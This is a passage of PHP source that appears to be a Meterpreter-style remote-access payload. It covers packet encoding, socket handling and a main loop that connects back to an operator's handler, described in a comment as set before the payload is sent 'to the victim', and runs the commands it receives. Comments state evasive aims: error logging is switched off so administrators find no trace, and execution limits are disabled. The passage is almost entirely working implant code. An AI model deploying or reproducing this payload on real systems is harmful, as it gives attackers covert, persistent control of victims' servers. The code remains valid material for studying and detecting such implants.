|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
|
|
|
# Add the length to the beginning of the packet
|
|
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
|
|
write_tlv_to_socket($msgsock, $pkt);
|
|
}
|
|
}
|
|
|
|
function handle_resource_read_channel($resource, $data) {
|
|
global $udp_host_map;
|
|
$cid = get_channel_id_from_resource($resource);
|
|
my_print("Handling data from $resource");
|
|
|
|
# Build a new Packet
|
|
$pkt = pack("N", PACKET_TYPE_REQUEST);
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_CORE_CHANNEL_WRITE));
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
list($h,$p) = $udp_host_map[(int)$resource];
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p));
|
|
}
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data)));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
|
|
|
# Add the length to the beginning of the packet
|
|
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
|
|
return $pkt;
|
|
}
|
|
|
|
function create_response($req) {
|
|
global $id2f;
|
|
$pkt = pack("N", PACKET_TYPE_RESPONSE);
|
|
|
|
$command_id_tlv = packet_get_tlv($req, TLV_TYPE_COMMAND_ID);
|
|
my_print("command id is {$command_id_tlv['value']}");
|
|
packet_add_tlv($pkt, $command_id_tlv);
|
|
|
|
$reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID);
|
|
packet_add_tlv($pkt, $reqid_tlv);
|
|
|
|
$command_handler = $id2f[$command_id_tlv['value']];
|
|
if (is_callable($command_handler)) {
|
|
$result = $command_handler($req, $pkt);
|
|
} else {
|
|
my_print("Got a request for something I don't know how to handle (" . $command_id_tlv['value'] . " / ". $command_handler ."), returning failure");
|
|
$result = ERROR_FAILURE;
|
|
}
|
|
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result));
|
|
packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
|
|
|
|
# Add the length to the beginning of the packet
|
|
$pkt = pack("N", strlen($pkt) + 4) . $pkt;
|
|
return $pkt;
|
|
}
|
|
|
|
function create_tlv($type, $val) {
|
|
return array( 'type' => $type, 'value' => $val );
|
|
}
|
|
|
|
function tlv_pack($tlv) {
|
|
$ret = "";
|
|
#my_print("Creating a tlv of type: {$tlv['type']}");
|
|
if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
$ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0");
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
|
$hi = ($tlv['value'] >> 32) & 0xFFFFFFFF;
|
|
$lo = $tlv['value'] & 0xFFFFFFFF;
|
|
$ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo);
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
$ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']);
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
# PHP's pack appears to be busted for chars,
|
|
$ret = pack("NN", 8 + 1, $tlv['type']);
|
|
$ret .= $tlv['value'] ? "\x01" : "\x00";
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) {
|
|
# treat groups the same as raw
|
|
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
|
|
}
|
|
elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) {
|
|
# treat complex the same as raw
|
|
$ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value'];
|
|
}
|
|
else {
|
|
my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf");
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function tlv_unpack($raw_tlv) {
|
|
$tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8));
|
|
$type = $tlv['type'];
|
|
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
|
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
|
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
|
|
# PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing
|
|
# NULL, so catch that here
|
|
$tlv['value'] = str_replace("\0", "", $tlv['value']);
|
|
}
|
|
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
|
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
|
|
}
|
|
elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
|
$tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len']));
|
|
$tlv['value'] = $tlv['hi'] << 32 | $tlv['lo'];
|
|
}
|
|
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
|
$tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len']));
|
|
}
|
|
elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) {
|
|
$tlv = unpack("Nlen/Ntype", $raw_tlv);
|
|
$tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8);
|
|
}
|
|
else {
|
|
my_print("Wtf type is this? $type");
|
|
$tlv = null;
|
|
}
|
|
return $tlv;
|
|
}
|
|
|
|
function packet_add_tlv(&$pkt, $tlv) {
|
|
$pkt .= tlv_pack($tlv);
|
|
}
|
|
|
|
function packet_get_tlv($pkt, $type) {
|
|
#my_print("Looking for a tlv of type $type");
|
|
# Start at offset 8 to skip past the packet header
|
|
$offset = 8;
|
|
while ($offset < strlen($pkt)) {
|
|
$tlv = tlv_unpack(substr($pkt, $offset));
|
|
#my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
|
if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
|
#my_print("Found one at offset $offset");
|
|
return $tlv;
|
|
}
|
|
$offset += $tlv['len'];
|
|
}
|
|
#my_print("Didn't find one, wtf");
|
|
# We should return null instead of false, because false is actually
|
|
# a valid value for a TLV and hence it's not possible to determine
|
|
# a missing BOOL tlv value.
|
|
return null;
|
|
}
|
|
|
|
|
|
function packet_get_all_tlvs($pkt, $type) {
|
|
my_print("Looking for all tlvs of type $type");
|
|
# Start at offset 8 to skip past the packet header
|
|
$offset = 8;
|
|
$all = array();
|
|
while ($offset < strlen($pkt)) {
|
|
$tlv = tlv_unpack(substr($pkt, $offset));
|
|
if ($tlv == NULL) {
|
|
break;
|
|
}
|
|
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
|
if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) {
|
|
my_print("Found one at offset $offset");
|
|
array_push($all, $tlv);
|
|
}
|
|
$offset += $tlv['len'];
|
|
}
|
|
return $all;
|
|
}
|
|
|
|
|
|
##
|
|
# Functions for genericizing the stream/socket conundrum
|
|
##
|
|
|
|
|
|
function register_socket($sock, $ipaddr=null, $port=null) {
|
|
global $resource_type_map, $udp_host_map;
|
|
my_print("Registering socket $sock for ($ipaddr:$port)");
|
|
$resource_type_map[(int)$sock] = 'socket';
|
|
if ($ipaddr) {
|
|
$udp_host_map[(int)$sock] = array($ipaddr, $port);
|
|
#dump_array($udp_host_map, "UDP Map after registering a new socket");
|
|
}
|
|
}
|
|
|
|
# The stream functions cannot be unconnected, so don't require a host map
|
|
function register_stream($stream, $ipaddr=null, $port=null) {
|
|
global $resource_type_map, $udp_host_map;
|
|
my_print("Registering stream $stream for ($ipaddr:$port)");
|
|
$resource_type_map[(int)$stream] = 'stream';
|
|
if ($ipaddr) {
|
|
$udp_host_map[(int)$stream] = array($ipaddr, $port);
|
|
#dump_array($udp_host_map, "UDP Map after registering a new stream");
|
|
}
|
|
}
|
|
|
|
function connect($ipaddr, $port, $proto='tcp') {
|
|
my_print("Doing connect($ipaddr, $port)");
|
|
$sock = false;
|
|
|
|
# IPv6 requires brackets around the address in some cases, but not all.
|
|
# Keep track of the un-bracketed address for the functions that don't like
|
|
# brackets, specifically socket_connect and socket_sendto.
|
|
$ipf = WIN_AF_INET;
|
|
$raw_ip = $ipaddr;
|
|
if (FALSE !== strpos($ipaddr, ":")) {
|
|
$ipf = WIN_AF_INET6;
|
|
$ipaddr = "[". $raw_ip ."]";
|
|
}
|
|
|
|
# Prefer the stream versions so we don't have to use both select functions
|
|
# unnecessarily, but fall back to socket_create if they aren't available.
|
|
if (is_callable('stream_socket_client')) {
|
|
my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})");
|
|
if ($proto == 'ssl') {
|
|
$sock = stream_socket_client("ssl://{$ipaddr}:{$port}",
|
|
$errno, $errstr, 5, STREAM_CLIENT_ASYNC_CONNECT);
|
|
if (!$sock) { return false; }
|
|
stream_set_blocking($sock, 0);
|
|
register_stream($sock);
|
|
} elseif ($proto == 'tcp') {
|
|
$sock = stream_socket_client("tcp://{$ipaddr}:{$port}");
|
|
if (!$sock) { return false; }
|
|
register_stream($sock);
|
|
} elseif ($proto == 'udp') {
|
|
$sock = stream_socket_client("udp://{$ipaddr}:{$port}");
|
|
if (!$sock) { return false; }
|
|
register_stream($sock, $ipaddr, $port);
|
|
}
|
|
} else
|
|
if (is_callable('fsockopen')) {
|
|
my_print("fsockopen");
|
|
if ($proto == 'ssl') {
|
|
$sock = fsockopen("ssl://{$ipaddr}:{$port}");
|
|
stream_set_blocking($sock, 0);
|
|
register_stream($sock);
|
|
} elseif ($proto == 'tcp') {
|
|
$sock = fsockopen($ipaddr, $port);
|
|
if (!$sock) { return false; }
|
|
if (is_callable('socket_set_timeout')) {
|
|
socket_set_timeout($sock, 2);
|
|
}
|
|
register_stream($sock);
|
|
} else {
|
|
$sock = fsockopen($proto."://".$ipaddr,$port);
|
|
if (!$sock) { return false; }
|
|
register_stream($sock, $ipaddr, $port);
|
|
}
|
|
} else
|
|
if (is_callable('socket_create')) {
|
|
my_print("socket_create");
|
|
if ($proto == 'tcp') {
|
|
$sock = socket_create($ipf, SOCK_STREAM, SOL_TCP);
|
|
$res = socket_connect($sock, $raw_ip, $port);
|
|
if (!$res) { return false; }
|
|
register_socket($sock);
|
|
} elseif ($proto == 'udp') {
|
|
$sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP);
|
|
register_socket($sock, $raw_ip, $port);
|
|
}
|
|
}
|
|
|
|
return $sock;
|
|
}
|
|
|
|
function eof($resource) {
|
|
$ret = false;
|
|
switch (get_rtype($resource)) {
|
|
# XXX Doesn't work with sockets.
|
|
case 'socket': break;
|
|
case 'stream':
|
|
# We set the socket timeout for streams opened with fsockopen() when
|
|
# they are created. I hope this is enough to deal with hangs when
|
|
# calling feof() on socket streams, but who knows. This is PHP,
|
|
# anything could happen. Some day they'll probably add a new function
|
|
# called stream_eof() and it will handle sockets properly except for
|
|
# some edge case that happens for every socket except the one or two
|
|
# they tested it on and it will always return false on windows and
|
|
# later they'll rename it to real_stream_eof_this_language_isretarded().
|
|
#
|
|
# See http://us2.php.net/manual/en/function.feof.php , specifically this:
|
|
# If a connection opened by fsockopen() wasn't closed by the server,
|
|
# feof() will hang. To workaround this, see below example:
|
|
# <?php
|
|
# function safe_feof($fp, &$start = NULL) {
|
|
# ...
|
|
$ret = feof($resource);
|
|
break;
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function close($resource) {
|
|
my_print("Closing resource $resource");
|
|
global $resource_type_map, $udp_host_map;
|
|
|
|
remove_reader($resource);
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $ret = socket_close($resource); break;
|
|
case 'stream': $ret = fclose($resource); break;
|
|
}
|
|
# Every resource should be in the resource type map, but check anyway
|
|
if (array_key_exists((int)$resource, $resource_type_map)) {
|
|
unset($resource_type_map[(int)$resource]);
|
|
}
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
my_print("Removing $resource from udp_host_map");
|
|
unset($udp_host_map[(int)$resource]);
|
|
}
|
|
return $ret;
|
|
}
|
|
|
|
function read($resource, $len=null) {
|
|
global $udp_host_map;
|
|
# Max packet length is magic. If we're reading a pipe that has data but
|
|
# isn't going to generate any more without some input, then reading less
|
|
# than all bytes in the buffer or 8192 bytes, the next read will never
|
|
# return.
|
|
if (is_null($len)) { $len = 8192; }
|
|
#my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource)));
|
|
$buff = '';
|
|
switch (get_rtype($resource)) {
|
|
case 'socket':
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
my_print("Reading UDP socket");
|
|
list($host,$port) = $udp_host_map[(int)$resource];
|
|
socket_recvfrom($resource, $buff, $len, PHP_BINARY_READ, $host, $port);
|
|
} else {
|
|
my_print("Reading TCP socket");
|
|
$buff .= socket_read($resource, $len, PHP_BINARY_READ);
|
|
}
|
|
break;
|
|
case 'stream':
|
|
global $msgsock;
|
|
# Calling select here should ensure that we never try to read from a socket
|
|
# or pipe that doesn't currently have data. If that ever happens, the
|
|
# whole php process will block waiting for data that may never come.
|
|
# Unfortunately, selecting on pipes created with proc_open on Windows
|
|
# always returns immediately. Basically, shell interaction in Windows
|
|
# is hosed until this gets figured out.
|
|
#
|
|
# From the documentation:
|
|
# > Use of stream_select() on file descriptors returned by proc_open()
|
|
# will fail and return FALSE under Windows.
|
|
$r = Array($resource);
|
|
my_print("Calling select to see if there's data on $resource");
|
|
$last_requested_len = 0;
|
|
while (true) {
|
|
$w=NULL;$e=NULL;$t=0;
|
|
$cnt = stream_select($r, $w, $e, $t);
|
|
|
|
# Stream is not ready to read, have to live with what we've gotten
|
|
# so far
|
|
if ($cnt === 0) {
|
|
break;
|
|
}
|
|
|
|
# if stream_select returned false, something is wrong with the
|
|
# socket or the syscall was interrupted or something.
|
|
if ($cnt === false or feof($resource)) {
|
|
my_print("Checking for failed read...");
|
|
if (empty($buff)) {
|
|
my_print("---- EOF ON $resource ----");
|
|
$buff = false;
|
|
}
|
|
break;
|
|
}
|
|
|
|
$md = stream_get_meta_data($resource);
|
|
dump_array($md, "Metadata for {$resource}");
|
|
if ($md['unread_bytes'] > 0) {
|
|
$last_requested_len = min($len, $md['unread_bytes']);
|
|
$buff .= fread($resource, $last_requested_len);
|
|
break;
|
|
} else {
|
|
$tmp = fread($resource, $len);
|
|
$last_requested_len = $len;
|
|
$buff .= $tmp;
|
|
if (strlen($tmp) < $len) {
|
|
break;
|
|
}
|
|
}
|
|
|
|
if ($resource != $msgsock) { my_print("buff: '$buff'"); }
|
|
$r = Array($resource);
|
|
}
|
|
my_print(sprintf("Done with the big read loop on $resource, got %d bytes, asked for %d bytes", strlen($buff), $last_requested_len));
|
|
break;
|
|
default:
|
|
# then this is possibly a closed channel resource, see if we have any
|
|
# data from previous reads
|
|
$cid = get_channel_id_from_resource($resource);
|
|
$c = get_channel_by_id($cid);
|
|
if ($c and $c['data']) {
|
|
$buff = substr($c['data'], 0, $len);
|
|
$c['data'] = substr($c['data'], $len);
|
|
my_print("Aha! got some leftovers");
|
|
} else {
|
|
my_print("Wtf don't know how to read from resource $resource, c: $c");
|
|
if (is_array($c)) {
|
|
dump_array($c);
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
my_print(sprintf("Read %d bytes", strlen($buff)));
|
|
return $buff;
|
|
}
|
|
|
|
function write($resource, $buff, $len=0) {
|
|
global $udp_host_map;
|
|
if ($len == 0) { $len = strlen($buff); }
|
|
#my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource)));
|
|
$count = false;
|
|
switch (get_rtype($resource)) {
|
|
case 'socket':
|
|
if (array_key_exists((int)$resource, $udp_host_map)) {
|
|
my_print("Writing UDP socket");
|
|
list($host,$port) = $udp_host_map[(int)$resource];
|
|
$count = socket_sendto($resource, $buff, $len, $host, $port);
|
|
} else {
|
|
$count = socket_write($resource, $buff, $len);
|
|
}
|
|
break;
|
|
case 'stream':
|
|
$count = fwrite($resource, $buff, $len);
|
|
fflush($resource);
|
|
break;
|
|
default: my_print("Wtf don't know how to write to resource $resource"); break;
|
|
}
|
|
return $count;
|
|
}
|
|
|
|
function get_rtype($resource) {
|
|
global $resource_type_map;
|
|
if (array_key_exists((int)$resource, $resource_type_map)) {
|
|
return $resource_type_map[(int)$resource];
|
|
}
|
|
return false;
|
|
}
|
|
|
|
function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) {
|
|
$streams_r = array();
|
|
$streams_w = array();
|
|
$streams_e = array();
|
|
|
|
$sockets_r = array();
|
|
$sockets_w = array();
|
|
$sockets_e = array();
|
|
|
|
if ($r) {
|
|
foreach ($r as $resource) {
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $sockets_r[] = $resource; break;
|
|
case 'stream': $streams_r[] = $resource; break;
|
|
default: my_print("Unknown resource type"); break;
|
|
}
|
|
}
|
|
}
|
|
if ($w) {
|
|
foreach ($w as $resource) {
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $sockets_w[] = $resource; break;
|
|
case 'stream': $streams_w[] = $resource; break;
|
|
default: my_print("Unknown resource type"); break;
|
|
}
|
|
}
|
|
}
|
|
if ($e) {
|
|
foreach ($e as $resource) {
|
|
switch (get_rtype($resource)) {
|
|
case 'socket': $sockets_e[] = $resource; break;
|
|
case 'stream': $streams_e[] = $resource; break;
|
|
default: my_print("Unknown resource type"); break;
|
|
}
|
|
}
|
|
}
|
|
|
|
$n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e);
|
|
$n_streams = count($streams_r) + count($streams_w) + count($streams_e);
|
|
#my_print("Selecting $n_sockets sockets and $n_streams streams with timeout $tv_sec.$tv_usec");
|
|
$r = array();
|
|
$w = array();
|
|
$e = array();
|
|
|
|
# Workaround for some versions of PHP that throw an error and bail out if
|
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# select is given an empty array
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if (count($sockets_r)==0) { $sockets_r = null; }
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if (count($sockets_w)==0) { $sockets_w = null; }
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if (count($sockets_e)==0) { $sockets_e = null; }
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if (count($streams_r)==0) { $streams_r = null; }
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if (count($streams_w)==0) { $streams_w = null; }
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if (count($streams_e)==0) { $streams_e = null; }
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$count = 0;
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if ($n_sockets > 0) {
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$res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec);
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if (false === $res) { return false; }
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if (is_array($r) && is_array($sockets_r)) { $r = array_merge($r, $sockets_r); }
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if (is_array($w) && is_array($sockets_w)) { $w = array_merge($w, $sockets_w); }
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if (is_array($e) && is_array($sockets_e)) { $e = array_merge($e, $sockets_e); }
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$count += $res;
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}
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if ($n_streams > 0) {
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$res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec);
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if (false === $res) { return false; }
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if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); }
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if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); }
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if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); }
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$count += $res;
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}
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#my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e)));
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return $count;
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}
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function add_reader($resource) {
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global $readers;
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if (is_resource($resource) && !in_array($resource, $readers)) {
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$readers[] = $resource;
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}
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}
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function remove_reader($resource) {
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global $readers;
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#my_print("Removing reader: $resource");
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#dump_readers();
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if (in_array($resource, $readers)) {
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foreach ($readers as $key => $r) {
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if ($r == $resource) {
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unset($readers[$key]);
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}
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}
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}
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}
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##
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# Main stuff
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##
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ob_implicit_flush();
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# Turn off error reporting so we don't leave any ugly logs. Why make an
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# administrator's job easier if we don't have to? =)
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if (MY_DEBUGGING) {
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error_reporting(E_ALL);
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} else {
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error_reporting(0);
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}
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@ignore_user_abort(true);
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# Has no effect in safe mode, but try anyway
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@set_time_limit(0);
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@ignore_user_abort(1);
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@ini_set('max_execution_time',0);
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# Add the payload UUID to globals, and use that from now on so that we can
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# update it as required.
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$GLOBALS['UUID'] = PAYLOAD_UUID;
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$GLOBALS['SESSION_GUID'] = SESSION_GUID;
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$GLOBALS['AES_KEY'] = null;
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$GLOBALS['AES_ENABLED'] = false;
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# If we don't have a socket we're standalone, setup the connection here.
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# Otherwise, this is a staged payload, don't bother connecting
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if (!isset($GLOBALS['msgsock'])) {
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# The payload handler overwrites this with the correct LHOST before sending
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# it to the victim.
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$ipaddr = '127.0.0.1';
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$port = 4444;
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my_print("Don't have a msgsock, trying to connect($ipaddr, $port)");
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$msgsock = connect($ipaddr, $port);
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if (!$msgsock) { die(); }
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} else {
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# The ABI for PHP stagers is a socket in $msgsock and it's type (socket or
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# stream) in $msgsock_type
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$msgsock = $GLOBALS['msgsock'];
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$msgsock_type = $GLOBALS['msgsock_type'];
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switch ($msgsock_type) {
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case 'socket':
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register_socket($msgsock);
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break;
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case 'stream':
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# fall through
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default:
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register_stream($msgsock);
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}
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}
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add_reader($msgsock);
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#
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# Main dispatch loop
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#
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$r=$GLOBALS['readers'];
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$w=NULL;$e=NULL;$t=1;
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while (false !== ($cnt = select($r, $w, $e, $t))) {
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#my_print(sprintf("Returned from select with %s readers", count($r)));
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$read_failed = false;
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for ($i = 0; $i < $cnt; $i++) {
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$ready = $r[$i];
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if ($ready == $msgsock) {
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$packet = read($msgsock, 32);
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my_print(sprintf("Read returned %s bytes", strlen($packet)));
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if (false==$packet) {
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my_print("Read failed on main socket, bailing");
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# We failed on the main socket. There's no way to continue, so
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# break all the way out.
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break 2;
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}
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$xor = substr($packet, 0, 4);
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$header = xor_bytes($xor, substr($packet, 4, 28));
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$len_array = unpack("Nlen", substr($header, 20, 4));
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# length of the packet should be the packet header size
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# minus 8 for the tlv length + the required data length
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$len = $len_array['len'] + 32 - 8;
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# packet type should always be 0, i.e. PACKET_TYPE_REQUEST
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while (strlen($packet) < $len) {
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$packet .= read($msgsock, $len-strlen($packet));
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}
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$response = create_response(decrypt_packet(xor_bytes($xor, $packet)));
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write_tlv_to_socket($msgsock, $response);
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} else {
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#my_print("not Msgsock: $ready");
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$data = read($ready);
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if (false === $data) {
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handle_dead_resource_channel($ready);
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} elseif (strlen($data) > 0){
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my_print(sprintf("Read returned %s bytes", strlen($data)));
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$request = handle_resource_read_channel($ready, $data);
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if ($request) {
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write_tlv_to_socket($msgsock, $request);
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}
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}
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}
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}
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# $r is modified by select, so reset it
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$r = $GLOBALS['readers'];
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} # end main loop
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my_print("Finished");
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my_print("--------------------");
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close($msgsock);
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